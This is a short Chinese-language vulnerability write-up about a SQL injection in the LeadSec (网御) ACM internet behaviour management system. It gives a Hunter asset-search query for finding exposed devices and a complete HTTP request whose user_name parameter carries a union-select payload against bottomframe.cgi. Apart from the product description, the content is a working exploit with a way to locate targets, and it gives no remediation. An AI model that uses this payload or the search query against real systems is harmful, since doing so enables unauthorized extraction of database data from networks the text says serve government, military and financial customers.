W6-1网御-ACM上网行为管理系统-SQL

漏洞描述：

网御上网行为管理系统具备一体化网络接入、认证、管控、优化、审计、运营等功能,是新一代高性能的上网行为管理产品。面向政府、军工、金融、教育、企业等多行业不同客户网络业务场景，简化管理，节约客户成本，提供业务效率和价值。网御ACM上网行为管理系统存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。

网站图片：

网络测绘：

Hunter 语法：

- hunter：app.name="LeadSec 网御星云 ACM"

漏洞复现：

payload：

```
GET /bottomframe.cgi?user_name=%27))%20union%20select%20user()%23 HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
```

效果图: